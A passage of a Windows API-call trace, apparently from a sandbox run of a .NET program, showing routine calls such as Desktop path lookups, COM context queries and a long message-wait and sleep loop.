csidl=0, hToken=0x0, dwFlags=0x0, pszPath=0x1a57c250 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x0 [0162.122] CoTaskMemFree (pv=0x1a57c250) [0162.122] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x1af0db50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25 [0162.126] LocalAlloc (uFlags=0x0, uBytes=0x74) returned 0x1a5f60b0 [0163.326] LocalFree (hMem=0x1a5f60b0) returned 0x0 [0163.327] CoGetContextToken (in: pToken=0x1af0e000 | out: pToken=0x1af0e000) returned 0x0 [0163.327] CObjectContext::QueryInterface () returned 0x0 [0163.327] CObjectContext::GetCurrentThreadType () returned 0x0 [0163.327] Release () returned 0x0 [0163.328] CoGetContextToken (in: pToken=0x1af0db10 | out: pToken=0x1af0db10) returned 0x0 [0163.328] CObjectContext::QueryInterface () returned 0x0 [0163.328] CObjectContext::GetCurrentThreadType () returned 0x0 [0163.329] Release () returned 0x0 [0163.341] CoGetContextToken (in: pToken=0x1af0db10 | out: pToken=0x1af0db10) returned 0x0 [0163.341] CObjectContext::QueryInterface () returned 0x0 [0163.341] CObjectContext::GetCurrentThreadType () returned 0x0 [0163.341] Release () returned 0x0 [0164.091] CoGetContextToken (in: pToken=0x1af0db10 | out: pToken=0x1af0db10) returned 0x0 [0164.091] CObjectContext::QueryInterface () returned 0x0 [0164.091] CObjectContext::GetCurrentThreadType () returned 0x0 [0164.091] Release () returned 0x0 [0164.286] CoGetContextToken (in: pToken=0x1af0db10 | out: pToken=0x1af0db10) returned 0x0 [0164.286] CObjectContext::QueryInterface () returned 0x0 [0164.287] CObjectContext::GetCurrentThreadType () returned 0x0 [0164.287] Release () returned 0x0 [0164.490] CoGetContextToken (in: pToken=0x1af0db10 | out: pToken=0x1af0db10) returned 0x0 [0164.490] CObjectContext::QueryInterface () returned 0x0 [0164.490] CObjectContext::GetCurrentThreadType () returned 0x0 [0164.490] Release () returned 0x0 [0164.708] CoGetContextToken (in: pToken=0x1af0db10 | out: pToken=0x1af0db10) returned 0x0 [0164.708] CObjectContext::QueryInterface () returned 0x0 [0164.708] CObjectContext::GetCurrentThreadType () returned 0x0 [0164.708] Release () returned 0x0 [0164.910] CoGetContextToken (in: pToken=0x1af0db10 | out: pToken=0x1af0db10) returned 0x0 [0164.910] CObjectContext::QueryInterface () returned 0x0 [0164.910] CObjectContext::GetCurrentThreadType () returned 0x0 [0164.911] Release () returned 0x0 [0165.116] CoGetContextToken (in: pToken=0x1af0db10 | out: pToken=0x1af0db10) returned 0x0 [0165.116] CObjectContext::QueryInterface () returned 0x0 [0165.116] CObjectContext::GetCurrentThreadType () returned 0x0 [0165.116] Release () returned 0x0 [0165.650] CoGetContextToken (in: pToken=0x1af0db10 | out: pToken=0x1af0db10) returned 0x0 [0165.650] CObjectContext::QueryInterface () returned 0x0 [0165.650] CObjectContext::GetCurrentThreadType () returned 0x0 [0165.650] Release () returned 0x0 [0165.911] CoGetContextToken (in: pToken=0x1af0db10 | out: pToken=0x1af0db10) returned 0x0 [0165.911] CObjectContext::QueryInterface () returned 0x0 [0165.911] CObjectContext::GetCurrentThreadType () returned 0x0 [0165.911] Release () returned 0x0 [0166.114] CoGetContextToken (in: pToken=0x1af0db10 | out: pToken=0x1af0db10) returned 0x0 [0166.114] CObjectContext::QueryInterface () returned 0x0 [0166.114] CObjectContext::GetCurrentThreadType () returned 0x0 [0166.115] Release () returned 0x0 Thread: id = 13 os_tid = 0x7c4 Thread: id = 14 os_tid = 0x484 [0075.639] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0075.646] SetConsoleCtrlHandler (HandlerRoutine=0x1a7813ec, Add=1) returned 1 [0075.647] GetModuleHandleW (lpModuleName=0x0) returned 0x8a0000 [0075.648] GetModuleHandleW (lpModuleName=0x0) returned 0x8a0000 [0075.648] GetClassInfoW (in: hInstance=0x8a0000, lpClassName=".NET-BroadcastEventWindow.4.0.0.0.3ce0bb8.0", lpWndClass=0x2322220 | out: lpWndClass=0x2322220) returned 0 [0075.649] CoTaskMemAlloc (cb=0x58) returned 0x1a5781e0 [0075.649] RegisterClassW (lpWndClass=0x1ba3ee60) returned 0xc164 [0075.650] CoTaskMemFree (pv=0x1a5781e0) [0075.651] CreateWindowExW (dwExStyle=0x0, lpClassName=".NET-BroadcastEventWindow.4.0.0.0.3ce0bb8.0", lpWindowName=".NET-BroadcastEventWindow.4.0.0.0.3ce0bb8.0", dwStyle=0x80000000, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x8a0000, lpParam=0x0) returned 0x4011e [0075.663] NtdllDefWindowProc_W (hWnd=0x4011e, Msg=0x83, wParam=0x0, lParam=0x1ba3e880) returned 0x0 [0075.663] NtdllDefWindowProc_W (hWnd=0x4011e, Msg=0x1, wParam=0x0, lParam=0x1ba3e770) returned 0x0 [0075.663] NtdllDefWindowProc_W (hWnd=0x4011e, Msg=0x5, wParam=0x0, lParam=0x0) returned 0x0 [0075.663] NtdllDefWindowProc_W (hWnd=0x4011e, Msg=0x3, wParam=0x0, lParam=0x0) returned 0x0 [0075.665] SetEvent (hEvent=0x23c) returned 1 [0075.674] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0076.084] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0076.100] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0076.241] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0076.287] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0076.398] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0076.411] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0076.536] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0076.552] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0076.661] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0076.688] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0076.788] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0076.816] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0076.910] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0076.926] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0077.035] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0077.061] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0077.172] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0077.200] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0078.254] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0078.294] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0078.393] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0078.425] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0078.533] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0078.548] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0079.393] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0079.406] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0079.523] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0079.531] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0080.652] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0080.798] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0081.076] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0081.127] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0081.240] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0081.296] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0081.404] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0081.419] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0081.554] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0081.566] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0081.700] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0081.793] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0081.981] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0082.058] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0082.219] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0082.279] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0082.403] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0082.452] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0083.665] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0083.889] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0084.029] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0084.082] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0084.212] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0084.237] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0085.017] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0085.027] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0085.468] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0085.482] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0085.882] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0085.970] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0086.084] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0086.139] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0086.257] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0086.305] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0086.422] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0086.469] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0086.838] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0086.957] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x0 [0086.958] PeekMessageW (in: lpMsg=0x1ba3f0e8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x1ba3f0e8) returned 0 [0086.958] NtdllDefWindowProc_W (hWnd=0x4011e, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1 [0086.958] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0087.078] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0087.125] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0087.255] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0087.383] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0088.599] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0088.769] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0088.938] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0088.941] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0089.047] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0089.081] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0089.189] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0089.203] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0089.313] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0089.328] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0089.437] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0089.464] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0089.564] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0089.578] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0089.697] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0089.703] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0089.812] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0089.827] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0089.937] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0089.952] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0090.378] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0090.439] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0093.440] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0093.528] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x0 [0093.528] PeekMessageW (in: lpMsg=0x1ba3f0e8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x1ba3f0e8) returned 0 [0093.528] NtdllDefWindowProc_W (hWnd=0x4011e, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1 [0093.529] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0093.659] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0093.687] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0093.804] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0093.852] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0095.992] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0096.818] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x0 [0096.818] PeekMessageW (in: lpMsg=0x1ba3f0e8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x1ba3f0e8) returned 0 [0096.818] NtdllDefWindowProc_W (hWnd=0x4011e, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1 [0096.818] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0097.192] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0097.365] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0097.762] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0097.832] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0098.981] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0099.034] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x0 [0099.034] PeekMessageW (in: lpMsg=0x1ba3f0e8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x1ba3f0e8) returned 0 [0099.034] NtdllDefWindowProc_W (hWnd=0x4011e, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1 [0099.034] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0099.168] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0099.210] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0099.362] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0099.380] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0099.529] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0099.752] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0100.996] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0101.128] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0101.264] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0101.313] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0101.461] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0101.489] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x0 [0101.489] PeekMessageW (in: lpMsg=0x1ba3f0e8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x1ba3f0e8) returned 0 [0101.489] NtdllDefWindowProc_W (hWnd=0x4011e, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1 [0101.489] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0102.060] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0102.376] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0103.729] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0103.853] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0104.036] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0104.088] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0104.376] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0104.454] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x0 [0104.454] PeekMessageW (in: lpMsg=0x1ba3f0e8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x1ba3f0e8) returned 0 [0104.454] NtdllDefWindowProc_W (hWnd=0x4011e, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1 [0104.454] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0104.707] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0104.732] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0104.891] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0104.945] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0105.053] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0105.069] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0105.180] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0105.193] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0105.303] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0105.322] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0105.428] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0105.443] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0105.609] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0105.614] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0105.725] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0105.739] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0106.546] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0106.574] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0107.303] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0107.334] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0109.515] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0109.639] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x0 [0109.639] PeekMessageW (in: lpMsg=0x1ba3f0e8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x1ba3f0e8) returned 0 [0109.639] NtdllDefWindowProc_W (hWnd=0x4011e, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1 [0109.640] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0109.787] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0109.799] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x0 [0109.799] PeekMessageW (in: lpMsg=0x1ba3f0e8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x1ba3f0e8) returned 0 [0109.799] NtdllDefWindowProc_W (hWnd=0x4011e, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1 [0109.799] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0110.463] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0111.368] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0111.473] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0111.493] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0111.617] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0111.642] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0112.132] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0112.139] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0112.352] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0112.411] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x0 [0112.411] PeekMessageW (in: lpMsg=0x1ba3f0e8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x1ba3f0e8) returned 0 [0112.411] NtdllDefWindowProc_W (hWnd=0x4011e, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1 [0112.411] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0112.562] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0112.612] MsgWaitForMultipleObjectsEx 